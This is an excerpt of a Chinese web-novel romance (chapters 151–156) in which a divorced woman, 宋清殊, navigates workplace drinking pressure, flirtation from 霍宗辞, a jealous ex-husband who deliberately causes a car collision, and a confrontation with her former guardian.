宋清殊又在外边跟楼珏吃了个饭才回去,吃饭时也有点心不在焉。
“都怪我不好,没有防住苏白。这一出,一定是他自作主张。”楼珏跟她道歉。
“没关系。”宋清殊说不上自己心里什么感受,一颗心没着没落的。
她摇了摇头,苦笑道:“这下他也看到了,盛熙川和我都没有回头的意思,希望他不要白费心机了。”
第151章 跟霍宗辞传绯闻
周一上班路上,宋清殊把袖扣送给了霍宗辞。
她表现的也没有那么正式,只说:“昨天去逛专柜,觉得这个袖扣很适合小叔就买了,我对男装配饰没什么研究,希望小叔不要嫌弃。”
霍宗辞随手接过,放到了自己包里,嘴上还不忘调侃她:“怎么,之前没有给盛熙川买过?”
这个还真没有。
盛熙川对配饰这些并没有特别讲究,他帅得轻轻松松,平日里很少好好穿正装,袖扣,领带夹这种偏正式的东西,他比较少用。
但这不是重点,重点是,霍宗辞提了太多次盛熙川,让宋清殊很烦。
她不得不认真跟他谈谈。
“小叔,以后能不能不要再跟我提盛熙川了?”
霍宗辞神情微讶,抬了抬眉:“你介意?”
宋清殊郑重:“很介意。”
一想起周末盛熙川对她视而不见的态度,她就本能的不舒服。
她又不是婚姻的过错方,盛熙川还真是小家子气!
霍宗辞最终对这个要求也未置可否,但那个袖扣,他当天便戴在了袖口处,连续一周都没换过。
到后来,宋清殊甚至听公司有女员工在洗手间讲小话。
“霍总是不是恋爱了,感觉他最近脾气都好了很多。”
“是呢,也不知道这样的仙品会落到哪个女人手里。听说他最近总戴的那个袖扣就是女朋友送的。”
“反正不管落到谁手里,都不会落到咱们这种普通人手里。”
“哎呀,总能做做梦吧?现在好了,钻石王老五名花有主,梦也做不了。”
两个女孩有说有笑地走了,宋清殊等了好久才敢从洗手间出来。
这话是怎么传的?
说起来,随着年龄的增长,再加上有了珍珠,她的心态已经好了很多。
但还是不免会想起来,当年和莫北丞的那段旧事。
霍宗辞的身份对她来说跟莫北丞差不多,还是避嫌些好。
宋清殊觉得,她可以先从不和霍宗辞一起上下班做起。
这话还没来得及说,霍宗辞先出差了。
霍宗辞一走,陆三叔马上找宋清殊麻烦。
“能喝酒吗?”他问,也不等她回答,“有个重要客户,约了今天来公司考察,晚上你招待一下。”
宋清殊问:“就我自己?您和二叔不参加吗?”
陆三叔摆明了要难为她,笑得满眼算计:“之前这事一直是宗辞负责,我和你二叔对业务板块不熟。你好好表现,别到时候丢宗辞的脸。”
宋清殊:“……”
她不久前刚因为财务经理的事得罪了陆三叔,这次也不好一口回绝,再者,他有正当理由。
那句“别到时候丢宗辞的脸”,也是在影射她是霍宗辞的人,回应她扣的那顶结党营私的大帽子。
这个饭局,宋清殊不去是不行了。
她发微信让陆夫人拿主意,陆夫人鼓励她:“这也是你攒人脉的机会,应酬好了就是你客户。”
之后,又发了几个人名给她,“让他们跟着你去。”
陆三叔要为难她,躲了这次未必躲得过下次。
没有千日防贼的道理。
宋清殊下定了决心后,就私下做功课了解了一下客户情况,晚上带着那几个高层一起去了。
全场都是男人,只有宋清殊和莫兰溪两个女人,一群男人的眼睛就没从她们两个身上离开过。
那个客户显然是听陆三叔说了什么,很不把宋清殊放在眼里。
他跟她说话,不像合作商之间的交流,爹味儿十足不说,还满是男凝视角。
夸她漂亮,夸她“看着就会照顾人”。
宋清殊恶心坏了。
对方还一直在劝酒,陆氏的男同事们替她挡了几杯,还被阴阳怪气说“舔狗”,听听这是人话吗?
宋清殊给了莫兰溪一个眼神,让她出去催菜。
之后,自己借口上洗手间也走了出去。
两人站在洗手间附近的走廊里商量对策。
此时,宋清殊已经喝得头晕目眩,要稍稍靠着墙才不至于摔倒在地。
莫兰溪:“不行你找个借口先回家吧,我来应付。”
宋清殊摇了摇头:“合同还没签。”
两人都知道,哪怕喝到最后,今天这合同也未必会签。
这是最恶心人的一点:他们和陆氏合作挺多年了,今年也问题不大。
但合同今天不签,明天去公司再签,说不定就会被二叔三叔抢功劳。还要贬损宋清殊办事不利,要不是他们力挽狂澜,这个合作也就毁了。
宋清殊太明白他们安的什么心。
良久,她咬咬牙:“你去给我买瓶护肝片吧。”
喝酒是吧,她豁出去了,喝不死这群老登。
莫兰溪叹口气走了,宋清殊又去前台拿了罐冰可乐,一口气灌下去。
她冷静了些许,对着手机前置摄像头调整好表情,又推开了包厢门。
客户一见她,好像看到进了狼窝的兔子,又露出了让人不适的笑脸。
她的酒杯又满了。
宋清殊简直带了赴死的决心。
她站起身来,举杯:“赵总,我敬您。”
此时,有人敲门。
接着,宋清殊便看到了一头粉毛的段睿。
她对他的头发印象太深刻。
“我说刚才在走廊里看到个背影感觉像你,没想到还真是。”段睿手里拿着瓶可乐,一边说着,一边径直走到了宋清殊面前,“没想到在这儿都能遇见,这么巧呢。”
宋清殊不明所以,却还是客气笑道:“真有缘分,段少。”
“见外了不是,叫阿睿就行。”段睿笑道,把可乐直接打开递给她,“来,醒醒酒。”
“多谢。”宋清殊配合地接过,喝了一口。
期间,那位客户几次欲言又止,最终还是在座位上站起身来。
“段少,我是航大的老赵,跟令尊有点业务来往。”他满脸堆笑。
段睿要笑不笑地看了他一眼,拖长音“哦”了一声,“我们的供货商是吧,有点印象。”
客户笑得脸都酸了:“对对。”
这么巧吗,原来段睿是陆氏上游的上游。
看着这位赵总川剧似的变脸速度,宋清殊在心里翻了个大大的白眼。
段睿原本就是一副纨绔子弟做派,此时更加不给面子:“那你还灌我朋友喝酒?”
赵总一张老脸臊得通红:“没有,怎么会呢,大家都是朋友。”
宋清殊适时解围:“今天赵总跟我们续约,大家高兴就多喝了几杯。”
赵总一听,赶忙就坡下驴让公司的人拿出了合同。
宋清殊松了口气,用口型跟段睿道了谢。
之后,段睿跟宋清殊又随便聊了两句,就走了。
“我在隔壁包厢,你结束后可以来找我玩哈。”段睿自来熟地说。
宋清殊说:“一定。”
之后,签合同便成了顺理成章的事,客户也不敢再作妖,饭局很快散了。
临走时,宋清殊怎么想都觉得段睿这件事蹊跷。
她走到隔壁包厢门口听了听,里面有人说话,似乎真的是段睿的声音。
“段少。”她敲门。
此时,段睿正在包厢里跟盛熙川讲自己“英雄救美”的壮举。
第152章 难以启齿的梦
段睿原本不应该出现在这里,他是被盛熙川临时从别的场子叫来的。
“人我是替你护住了,签合同应该也没什么问题。但在上京,你的面子比我更好用吧?”
他对盛熙川这种行为尤其不理解,一边要帮人家,一边还要隐身,这么做的意义是什么呢。
包厢里灯光不算暗,可盛熙川坐在沙发上抽雪茄,莫名让氛围阴沉了几分。
他没有回答段睿的问题,脸上的情绪晦暗不明。
可段睿是个没眼色的,他索性坐在他身边,开始苦口婆心:“你要是还喜欢人家,想破镜重圆就直说。说不定人家还能给你个机会。你这种什么都在背后默默做,一声不吭的,到最后只会连个舔狗的下场都不如。”
盛熙川在烟雾缭绕里抬起眼来,那一眼,严厉又悲情。
段睿下意识缩了一下脖子。
“你这种肤浅的人是不会懂的。”许久,盛熙川终于开口。
段睿:“……”
他还没来得及回怼,外面敲门声响了起来。
是宋清殊的声音。
一时间,两人僵在当场。
还是盛熙川先反应过来,迅速起身。
而段睿也一把扯住了他,心思几转。
宋清殊立在门口敲了两下,见里面没人应,她在思考是直接推门,还是离开。
还没想好,却又听到一声“请进!”
她推门而入,便看到了站在包厢内抽烟的盛熙川。
哪有段睿的影子?
一时间,宋清殊甚至怀疑自己刚才出现了幻听。
两人猝不及防地四目相对,都有点尴尬。
宋清殊知道,自己该说点什么。
可她看着眼前的男人,上下唇像是黏在了一起,张不开嘴。
只能默不作声地打量他。
盛熙川瘦了好多,第一次见面她就发现了,此时有了更直观的认识。
他的下颌线原本就清晰,如今更显线条凌厉。夹着雪茄的手指比过去看着还要纤长,手腕也细了一圈。
腕上那块表,宋清殊认识,是她那年送他的生日礼物。
与此同时,盛熙川也在看她。
这几年她把自己照顾得很好,原来瘦得过分单薄,在一起的时候,他很想将她养胖,一直没能如愿。如今,她倒是长了一点肉。
比起多数人她还是瘦的,但不像过去那样伶仃了。整个人看上去纤秾合度,比起过去一味的清冷,神态里竟然多了几分娇憨感。
她应该是喝了不少,脸红得厉害,头发落了些碎发来,散在额前,看人时,那双妙目里有雾气。
盛熙川的心脏猛地抽痛了一下。
两人都不说话,过了许久,宋清殊先妥协。她似乎是刚回过神来,伸手跟盛熙川打招呼:“Hi。”
接着,一双眼睛往他身后看。
后面是用屏风隔出来的一个小空间。
“我来找段少,他跟你在一起吗?”
在这一刻宋清殊甚至冒出个念头:该不会是盛熙川让段睿去给她解围吧?
盛熙川也陡然回神,他轻咳了一声,在沙发上坐下。
“没有。”
“这样啊。”宋清殊立在门口,手扶着门框上,没进去,“刚才段少帮了我很大的忙,如果你以后再见到他,方便的话,替我道声谢。”
她带了醉意,说话很慢。
说完,又似乎觉得不妥:“可以吗?如果麻烦的话……”
盛熙川:“不麻烦。”
宋清殊点头:“那多谢你。”
她转身,走了两步,又想起什么,回头叫他:“盛熙川。”
两人各有心思,宋清殊在酒精作用下,脑子又慢半拍,根本没注意到盛熙川的眼睛倏地亮了一下。
盛熙川将雪茄按熄在烟灰缸里,抬眼看她的神情还算平静:“嗯?”
宋清殊:“我本来可以永远消失在你眼前的,但现在陆家情况有点特殊,抱歉。”
这番话,成功让盛熙川眼里那点光亮早已消逝殆尽:“知道,没事。”
“嗯。”宋清殊居然露出个如释重负的微笑来,“我会尽量少出现在你面前,不给你添堵。”
这句话盛熙川没接。
宋清殊又看他一眼,就这样转身走了。
段睿从屏风后出来的时候,正看到盛熙川盯着门口的方向看。
他揉了揉眼睛,有点不敢相信。
盛熙川刚才那是什么神情,脆弱?无助?
如果不是亲眼所见,他是打死都不能把这两个词跟眼前的男人联想到一起的。
“抱歉哈,刚才就是想给你创造点机会。”段睿挠了挠头。
宋清殊来的时候,盛熙川要往后躲,被他一把推了出来,而他自己躲到了屏风后去。
刚才他在屏风后面听了全程,现在心里只有一个感受:这两人完全没戏了。
能破镜重圆的伴侣,至少要一个主动。
可这两人已经恨不得画出楚河汉界了。
宋清殊从餐厅出来,莫兰溪在等她,贴心地叫了代驾。
“刚才看见了盛世集团的几个人,也在这边有应酬。”莫兰溪说。
宋清殊有片刻失神。
幸好她没有自作多情,去问盛熙川是不是他找来的段睿,不然该多尴尬。
盛熙川应该就是应酬累了,又找了间包厢休息,好巧不巧,被她打扰到。
她该说的话也说到位了,盛熙川应该知道她不是故意要出现在他面前。
但他要是多想……那也没办法。
回去当晚,宋清殊带了一身酒气,便没有去看珍珠。
她简单清洗了一下,就睡下了。
也许是酒精作祟,当晚她做了一夜的乱梦。
梦到了许多之前的事,前尘往事走马灯似的在梦里过。
她梦到了莫北丞也梦到了盛熙川,梦到了自己用刀子在他面前割腕逼迫他离婚的场景。
前面悲壮,到后来,不知怎么,画风一转,开始旖旎了起来。
难以启齿的画面,带了几分真实,醒来时,宋清殊揪紧了身下的床单。
成年人,有欲望很正常,更何况她单身四年了。宋清殊如此安慰自己。
梦里的盛熙川不是一个具体的人,只是一个指代符号而已。毕竟,除了他,她跟别人也没有过。
梦到他不奇怪。
日子一点点向前,再见到盛熙川是两周后的事了。
第153章 霍宗辞勾引
这一天,宋清殊跟霍宗辞见个客户,跟客户一同吃的晚饭。
司机休假,霍宗辞又喝了点酒,代驾的职责,便落到了宋清殊头上。
他今天开的是跑车,兰博基尼小牛。
宋清殊不太喜欢跑车,声音太大,太招摇是一方面,最主要是座椅真的比轿车硬很多,舒适感没有那么强。
但她一个下属,倒是不好挑三拣四。
宋清殊开车,霍宗辞坐在副驾。
起初,还没有什么不妥,到后来,霍宗辞酒劲上来,有点不舒服。
他往后靠了靠,伸手扯松了自己的领带,又解开了两衬衫扣子。
霍宗辞的头发在男人里算长的,五官又比较媚气,此时,靠在跑车椅背上,脸泛潮红的模样,非常引人遐想。
宋清殊尽可能目不斜视,余光却还是注意到了霍宗辞的小动作。
她迅速别过眼去,看前方路况。
霍宗辞却没有这个自觉,他甚至特地转动了一下身体,看着宋清殊的侧脸。
“宋清殊。”他一开口,嗓子有一点哑,暧昧的味儿更浓了。
“小叔。”宋清殊有点不敢看他。
非礼勿视,她在心里告诫自己。
霍宗辞不知是没看出她的窘迫,还是以她的窘态为乐。
他干脆靠着车窗,直直的面对她:“你离婚后再也没谈过恋爱吗?”
老实说,宋清殊很弄不懂霍宗辞这个人。
他看上去并不像那种没有城府的人,反而心思深不可测。
但有时候跟她说话真的很直,一点都不弯弯绕绕,拐弯抹角。
也正因为这样,宋清殊偶尔才会觉得自己似乎被冒犯到。
但再看霍宗辞,又没有让她难堪的意思。
她抿了抿唇:“没有。”
霍宗辞上下打量了她几眼,又问:“怎么不谈恋爱呢,你现在正有大好的青春。”
因为她用大好的青春在养孩子,陪伴她的宝贝女儿成长。
爱情她体验过了,上头也上过了,等激情退却,只觉得不过如此。
但孩子是她带给自己的血脉至亲,这世上没有什么比她的珍珠更重要。
这话不适合对霍宗辞说。
宋清殊一时间也没想到更适合的借口,只能用了烂大街的:“没有合适的。”
霍宗辞拉长音调“哦”了一声,似乎带了隐隐的笑意:“还以为,你离开盛熙川后万念俱灰。”
此时,恰好开到一个路口,红灯。
宋清殊踩了刹车,转头看他,神情已经变得严肃起来:“小叔,你答应过我什么,还记得吗?”
又提盛熙川,没完了是吧?
霍宗辞举起双手做投降的姿态:“我错了,好不好?”
其实那天宋清殊的确提了这个要求,但霍宗辞并没有答应或者不答应。
可他现在喝了点酒,脑子没有平日里那样清醒。
看宋清殊一本正经的小模样,尤其想逗逗她。
霍宗辞都认错了,宋清殊也不好揪住不放。
“没事,小叔,可能是我反应过激了。”
绿灯亮起,本以为话题到此结束。
宋清殊的余光还是能察觉到霍宗辞的视线。
他眼神的温度和湿度都很高,又湿又魅。
“那你对合适的标准是什么,说说看。”他的声音很轻,很缓慢,像一根羽毛,撩拨人的神经。
宋清殊甚至怀疑霍宗辞在勾引她。
……不能吧,霍宗辞什么没吃过没见过,对她一个离异女人来这套?
“没什么标准,就是投缘吧。”她给了一个万能答案。
求求不要再问了,再问就不礼貌了。
“最怕的,就是这种没有标准的标准。”霍宗辞轻笑一声,“没有明确的门槛,就是最高的门槛。”
话虽如此,可宋清殊还是在心里翻了个白眼。
霍宗辞虽然年轻英俊,可对她来说,到底是个长辈,又是个异性,这样的话题并没有那么合适。
她闭了嘴不接他的话。
霍宗辞也看出来了,轻笑了一下,没有再开口。
但他的脸和脖子红得越来越厉害,热气沸涌,不得不伸手按中控,降下篷顶。
跑车篷顶一降下,深秋的风吹来,宋清殊都松了口气。
她加了点油门,只想快点把这大佛送回家。
突然,霍宗辞的手,抚上了她的头发。
宋清殊头皮一紧:“小,小叔。”
“刚才落了个虫子。”霍宗辞几乎在用气声说。
他靠得有点近。
宋清殊抿唇,不知该如何反应。
突然,身旁一辆幻影急速变道,“砰”的一声,撞上了小牛的副驾。
第154章 心跳
那辆幻影撞过来的力道之大,宋清殊觉得车子整个漂移了一下。
她的位置还好,霍宗辞在副驾,猛地往中控的方向一偏。
他那边的车门都凹陷了进来,如果动作再慢一点,说不定就要被挤在里面。
宋清殊急刹,霍宗辞先下车。
“你他妈会不会开车!”她听到了霍宗辞的怒骂声。
接着,便看到了那辆幻影车主走了下来。
是盛熙川。
他倚在车门上,甚至淡定地点了根烟。
仗着身高优势,眼睛越过霍宗辞的头顶,看向宋清殊。
宋清殊不得不从车里出来,尴尬笑道:“真巧啊。”
盛熙川对她点了一下头,算是打过招呼,又对霍宗辞道:“我临时变道也有问题,但你车超速了。”
这话不是乱说,宋清殊开跑车原本就比较容易掌握不好速度,刚才被霍宗辞一打扰心神,的确猛踩了一脚油门。
显然,霍宗辞也知道宋清殊超速,他脸色缓和了一些,给宋清殊一个安慰的眼神。
“而且,我还看到了你摸她头发,这都是影响驾驶员开车的危险行为。”盛熙川又说。
宋清殊:“……”
她竟然莫名有种心虚感。
真是的,心虚什么,别说她跟霍宗辞没什么,有什么又怎么样,都离婚这么久了,难道自己还要归他管不成?
过去的记忆涌上心头,她皱了皱眉。
霍宗辞原来还在生气,一听这话,看看盛熙川,又看了一眼宋清殊,突然明白了什么一般。
他那双湿媚的桃花眼弯了下去:“我当盛小爷发什么疯呢,这样的‘危险行为’我们可不是第一次做了,出危险倒是头一次。”
霍宗辞话里有话。
他生得好看,眉目风流,是很容易让男人产生危机感的长相。
盛熙川没接他的话茬,但下颌线紧绷着,神色不悦。
两辆豪车相撞,怕是今晚林荫路最大的新闻,两人又剑拔弩张,丝毫不让,很快交管部门来了人。
那位警员看看盛熙川又看看霍宗辞,没有一个惹得起的。
“需要双方驾驶员去局里做个备案。”
此时,盛熙川和霍宗辞的手下也都陆陆续续赶到。
“走吧。”盛熙川看了宋清殊一眼。
“我跟你去局里。”霍宗辞说,把宋清殊挡在身后。
盛熙川神色淡淡:“你喝酒了,又不是驾驶员,说不清楚。”
这意思是必须宋清殊。
警员也说:“是啊,霍先生,还是要当事人过去。”
“我跟你去。”宋清殊说,又对霍宗辞道,“小叔,你先回去休息。”
霍宗辞走近宋清殊,用口型说:“他冲你来的。”
这一点,宋清殊也很疑惑。
因为看两辆车撞在一起的状态,很像故意为之。这里离前方路口还有一段距离,又是实线,实在没有变道的必要。
最主要的是,之前她见盛熙川几次,他都是避之不及,连话都不想跟她说,今天这一出,实在是让人不知道他在想什么。
难不成,是看她现在过得不错,心里不痛快,故意找茬?
宋清殊用两人才能听到的声音,对霍宗辞小声道:“没关系,那我就去会会他,到时候我解决不了,小叔就给我兜底。”
两人说话时,盛熙川就站在路边。
他们在聊什么,神情那么亲昵?
盛熙川觉得,他简直要疯了。
今天看到霍宗辞和宋清殊上了同一辆车,他鬼使神差地给司机放了假,自己开车跟了上来。
霍宗辞的车膜并不深,幻影的底盘又比小牛高很多,从他的位置很容易看到两人在做什么。
他像个跟踪狂一样,追了一路,在上个红绿灯的间歇,他看到宋清殊转头看霍启尊,一脸娇嗔!
再后来,小牛车顶降下,他看到霍启尊的手覆上她的头发!
盛熙川的忍耐力到了临界点,他大脑一片空白,什么都没想就撞了上去。
这种咫尺天涯的日子,盛熙川是一天也过不下去了。
他根本做不到只在身后默默守护,只要宋清殊过得好就行。
内心深处的渴望和占有欲倾覆了他。
起初只觉得不安,如今明确了自己的心思,他反而笃定了下来。
盛熙川和宋清殊上了那位警员的车,两人在后排端坐,中间隔着楚河汉界。
今天的饭局很正式,宋清殊羊绒大衣里,穿了件月白色的旗袍。
大衣的襟口敞开,她坐下,便显出玲珑的腰胯。
人胖了一点,腰的尺寸却没变,看上去依然不过他的一掌半宽。
盛熙川垂眸看着,脑子里是无数荒唐的夜晚,他掐着这把细腰,举起又落下。
突然躁得厉害。
“宋清殊。”盛熙川唤她的名字。
“嗯?”宋清殊偏头看他。
身高差让她微微仰视他,这个角度,她清冷的眉眼,小巧的鼻,尽数落在他眼中。
如今,她也27岁了,五官还是比同龄人看上去稚气一点,但眼神里却有被岁月洗礼过的坦然。
那个被他一手调教出来的白纸,是真正的熟女了。
欲望在心里一再升腾,盛熙川强压着把她抱到腿上的冲动。
日子还长,他们的账可以慢慢算。
盛熙川叫她名字,却又没说出什么话来,宋清殊只好问:“什么?”
“这几年过得好吗?”
宋清殊点了点头:“挺好的,你呢?”
盛熙川喉结滑动,眼神在车里显得越发深暗。
“我也挺好的。”
隔靴瘙痒,更痒了。
开车的警员好像懂得盛熙川的心思一样,将方向盘猛地一打。
宋清殊没坐稳,往右一倒。
盛熙川伸手一接,她便落入了他的怀里。
耳边是雷鸣般的心跳声,呼吸的节奏都开始纷乱。
他们的眼神纠缠在一起,只一瞬间。
之后,宋清殊猛地坐直了身体:“抱歉。”
她的声音还算稳,仪态也端庄,只有脸颊浮上一层来路不明的红晕。
盛熙川蜷起手指,没有作声。
四年了,没想到再次抱到她竟然是在这样的情况下。
他的心快要从嗓子眼里跳出来了。
经过专业人士核查,盛熙川违规变道占本次事故的主要责任,宋清殊超速行驶,占次要责任。
双方都没有疑义。
当着警员的面,盛熙川掏出手机:“那先加个联系方式,到时候沟通进展。”
第155章 最宝贵
宋清殊微怔。
倒也不必加微信吧。
可当着外人的面,盛熙川这样坦荡地提要求,她不加,倒好像跟心里有鬼一样。
“好。”宋清殊掏出手机,直接扫了码,随手设置个【仅聊天】。
她没有在朋友圈晒过珍珠,倒是不怕他看。
只不过,有什么必要呢?
她并不想跟盛熙川分享自己的生活状态,也不想告诉他,在没有他的四年自己过得好或者不好。
相信盛熙川也不感兴趣。
如今时过境迁,她成熟了好多,想起在国外的那八年,为了引起莫北丞的注意,隔几个月就会在朋友圈里晒一张生活照,还挺幼稚。
真的就是,少女情怀,数不尽的小心思。
如今,也许是因为有了珍珠,迈入了人生的新阶段,突然就和过去的自己和解了。
不管是那个喜欢莫北丞的她,还是那个对盛熙川上头的她,都不该被诟病。
她并没有做错什么。
两人签完字从交警队出来,走到门口,盛熙川的司机已经在等了。
还是那个小赵,他开了辆别的豪车过来。
小赵先是替盛熙川拉开车门,在看到宋清殊的瞬间瞪大了眼睛。
“太……宋小姐。”
宋清殊对他点点头,面露得体微笑:“好久不见,小赵。”
盛熙川一手扶着车门,停下来看她:“走吗?送你回去。”
宋清殊下意识拒绝:“不用,我打个网约车就好。”
本以为盛熙川会直接上车走人,他这样骄傲的人,能主动问一句,已经是纡尊降贵。
谁知,他竟然向前一步,直接站在了她面前。
他靠得有点近,熟悉的冷松香气,让宋清殊下意识屏息。
说来怪好笑的,虽然离婚是她提的,可刚离婚那阵子,她也适应不了突然没有盛熙川的生活,魔怔了一样,买了市面上各种各样的松木香产品。
从香水,线香,精油,到沐浴露,洗发水,乃至洗衣液,柔顺剂,能买到的都试过了。
可不知怎么,就是不一样。
时隔四年,记忆中的气息袭来,她的心突然有点乱。
盛熙川比她高太多,什么都不说,只是站在那里就压迫感满满。
宋清殊习惯性垂下眼去。
还没来得及后退一步,猝不及防,被盛熙川伸手抬起了下巴。
按照温暖的手指,小心翼翼地控制着力道,强迫她跟自己对视。
“宋清殊,你是不是做了什么对不起我的事?”
盛熙川的眸子坦荡又炽热,直直地盯着她。
宋清殊的目光避无可避,瞟向一旁。
“哪有。”她底气不足,因为心里有鬼。
“呵,你知道你现在有多心虚吗?”盛熙川的声音里带了丝揶揄,“说,是不是离婚那天把我最贵重的东西带走了?”
她带走了他的心。
宋清殊:“你乱讲。”
猜得可真准。
珍珠何止是他最贵重的东西,也是她生命的全部。
宋清殊脑子飞速运转,着急说点什么脱身。
还没开口,一辆黑色保姆车在他们面前停了下来。
接着,后窗降下,露出霍宗辞那张好看得发邪的脸。
“走,回家。”
宋清殊发誓,她绝对没有跟盛熙川攀比的心思,可不知为什么,霍宗辞的再次出现,让她有点如蒙大赦的惊喜。
“小叔,你怎么又回来啦?”她语气不自觉上扬,带了点欢快。
霍宗辞自然听出来了,勾起唇角:“不放心你呗,上车。”
宋清殊迅速上车,这才发现,霍宗辞应该是回家洗了澡,他的头发还带着潮气,身上的衣服也换了。
“让小张自己来不就好了,你还亲自跑一趟。”她跟霍宗辞客气。
霍宗辞邪邪地瞥她一眼:“我不在,你万一被盛熙川那个登徒子轻薄了去了可怎么办?”
宋清殊:“……”
早知道不跟他客气了,一张嘴就不是正经话。
两人说话间,盛熙川已经上车已经走了。
他的车根本无视交警队的存在,快得风驰电掣。
回到家已经快10点。
珍珠已经睡下,宋清殊去房间看了她一眼。
要自己睡,是珍珠在两岁时提出来的,如今也已经一年了。
珍珠不辜负她的名字,从小长得珠圆玉润,肉嘟嘟的,是那种走在街上都会被人问想不想去拍奶粉广告的小孩。
此时,小珍珠闭着眼,嘴角微微扬起,不知道在做什么甜梦。
宋清殊心软成一朵云,就这样安静地看了她好一会儿。
也不知如果盛熙川知道自己有一个这样的女儿会做什么反应,这个念头缓慢侵入脑海时,宋清殊吓了一跳。
当然不能让他知道,他知道就有抢孩子的几率,她赌不起。
她的心有点慌,又轻手轻脚地从婴儿房退了出去。
“晚上应酬没吃好吧,我给你煮了青菜粥,一直在锅里热着。”保姆说。
青菜粥端出来,香气扑鼻。
是她喜欢的做法:白粥,临出锅时加一点青菜碎进去,再加大量胡椒粉和少量腐乳汁。
宋清殊吃了一口,脑子又不受控制地想起盛熙川来。
初识没多久,她喝多了,在临江别墅过夜时,他便做了青菜粥给她。
一时间,嘴里的青菜粥变了滋味。
“不吃了,我不饿。”她说,泄气地放下碗,径直去洗漱。
想了想,又从浴室里探出头来:
“芝姐,家里这一个月再也不要出现青菜粥。”
保姆芝姐收着碗,一边答应着,一边在心里犯嘀咕,这是怎么了,平时不是最爱喝青菜粥吗?
*
宋耀宗二十岁成人礼办得异常盛大,为了他,宋先生夫妇把能请到的人脉都请了。
宋清殊作为宋家的二小姐,不得不去祝贺一声。
偌大的酒店,人头攒动,宋耀宗穿得像个小王子,宋先生,宋夫人和宋妍妍,都别着胸花招待客人。
宋清殊不像主家人,因为她的亲生父母和姐姐弟弟,都在见到她后皱起了眉头,完全没有一家人的亲热劲儿。
但他们都很忙,倒也没顾上刻薄她两句。
她也不能是客,毕竟她姓宋,名义上还是宋家的二小姐。
宋清殊站在汹涌的人潮中,不尴不尬,只觉得别扭。
此时,更别扭的来了。
有人在身后扯了她的手臂:“小宝!”
看到来人,宋清殊还没开口,便被抓着手臂一路往酒店的后门走去。
第156章 清纯殊胜,万里挑一
莫北丞,真是好久不见了。
陆先生的葬礼他应该是去了的,但宋清殊一直处于忙忙碌碌的状态,竟然没注意到他。
她不在上京的这四年里,莫北丞倒是沉寂了一阵子,这两年才开始经常微信联系她,但宋清殊没有回复过。
她在他身上再也无法看出曾经喜欢的那人的影子。
如果说原本她还对他的养育之恩有所亏欠,在那次公海事件将他救回来后,这点亏欠感也消失了。
莫北丞的存在,只会提醒她过去的不堪,没有任何正向的意义。
此时,宋清殊被他拽得脚步踉跄,不得不用了蛮力停下。
她板了脸:“舅舅,这是做什么?”
“小宝,给我10分钟,只要10分钟就行。”莫北丞转头看她,语气里带了点恳求。
他曾是她最亲的人,如今也四年不见了。
宋清殊在心里叹了口气:“放开,我自己走。”
她跟着莫北丞走到了酒店的后门去。
酒店后面是花园,支着几处遮阳伞。
莫北丞在前,宋清殊在后,灯光将他们的影子拉得很长。
两人在一处休闲桌的位置坐了下来,夜色里,莫北丞的神色晦暗不明。
“小宝,你这几年过得好吗?”莫北丞先开口。
宋清殊坦坦荡荡看着他:“挺好的,舅舅。”
但好像莫北丞过得一般。
他事业如今更好了,外形也没有太大变化,依旧英俊又儒雅。
可不知怎么,宋清殊总觉得,他眉目间透着苦涩,那种中年男人的不得志。
“那就好。”莫北丞说,接着,又苦笑了一下,“有句话,我也在微信上问过你,但你一直没有回复。小宝,你离婚的导火索,是不是因为我?”
又来了。
宋清殊要烦透了。
“你觉得呢。”她眉目疏冷,盯着他的眼睛,“舅舅,当然跟你有关,要不是你想带着我私奔,在咖啡馆说那么引人遐想的话;要不是你对沈小鸢的态度一直暧昧不明,让她像一条疯狗一样咬住我不放,你觉得,我的婚姻会那么快崩塌吗?”
莫北丞知道宋清殊并不像她外表那样柔弱,知道她骨子里是个有主见的人,可他第一次见她攻击性十足,咄咄逼人的一面。
他微微吃惊:“你在怪我对不对?”
宋清殊冷笑:“我不该怪你吗,舅舅?我15岁喜欢你的时候,你做什么去了?那时候,我完全保护不了自己,你为什么不出面维护我?让我被宋家流放出去,还一直胆战心惊,觉得自己连累了你。
我被宋家卖给盛家做少夫人的时候,你干什么去了?你那时候告诉我,到底是高嫁,没感情也不算委屈。
你偏要在我爱上盛熙川,想一心一意跟他过好日子,给他生个孩子的时候,过来打扰我,要我跟你私奔。
莫北丞,你扪心自问,我不该怪你吗?”
身在其中的时候,很多事情都看不明白。离婚后的四年,她成了局外人,用旁观者的姿态观照整件事,不仅对莫北丞祛魅,偶尔,还要劝自己多想想过去的恩情,才不至于心生怨怼。
宋清殊这番话,显然不是一时嘴快的口无遮拦。
她冰冷的神情,决绝的眼神,无一不在告诉莫北丞,她就是这么想的。
莫北丞的心脏像被一只无形的手攥住,一点空气都无法进入。
他脸色惨白,站在那里,无所适从。
“如果……我要赎罪,还来得及吗?”
宋清殊摇头:“舅舅,很多事发生了就是发生了,我不仅没办法给你除了亲情之外的感情,怕是想回到最初也很困难了。”
莫北丞连嘴唇上都没有血色了。
“我明白了。”他喃喃道。
宋清殊站起身来。
“那我就回去了,舅舅。”
她故意先发制人,没让莫北丞把想说的话说完。
宋清殊走得头也不回,留莫北丞自己坐在原地,许久缓不过神来。
两人不知道的是,他们这翻争执早就被花园角落里的段睿听了去。
段睿出来抽烟,看宋清殊跟莫北丞一前一后出来,直觉有瓜吃,便站着没动。
之后,他回去,把视频放给盛熙川和苏白听。
“你别说,我还真小看了宋清殊,她外表这么柔弱,性子这么刚烈呢?”段睿啧啧称奇。
苏白倒不觉得奇怪:“她一直这样,很容易让人看不清实力。”
盛熙川拿着段睿的手机,把那段视频放了好几遍,他眸色晦暗,脸上看不出情绪。
【你偏要在我爱上盛熙川,想一心一意跟他过好日子,给他生个孩子的时候,过来打扰我,要我跟你私奔。
莫北丞,你扪心自问,我不该怪你吗?】
她爱过他,想过一心一意跟他过日子,他们曾经还差点有个孩子。
盛熙川握着手机的手收紧,指尖边缘都开始泛白。
在很长的一段时间,他都在沉默。
过了许久,才缓缓说:“发给我。”
今天一进门,盛熙川就注意到了宋清殊。
他就是为她而来是一方面,另一方面,也实在是她太出众了一些。
世家小姐里不乏五官漂亮,身材婀娜的,比宋清殊年纪小的更有的是,可她穿一身月白色旗袍站在人群里,像千万朵玫瑰里的一株栀子,很难让人错开眼。
喧闹的气氛不影响她的静谧,灯红酒绿也染指不了她的纯粹感。
她的气质很像旧式的闺秀,不太像年轻的女孩子们,很难得,也很少见。
“清殊”二字据说是莫北丞给她取的,说她清纯殊胜,万一挑一。
倒是贴切。
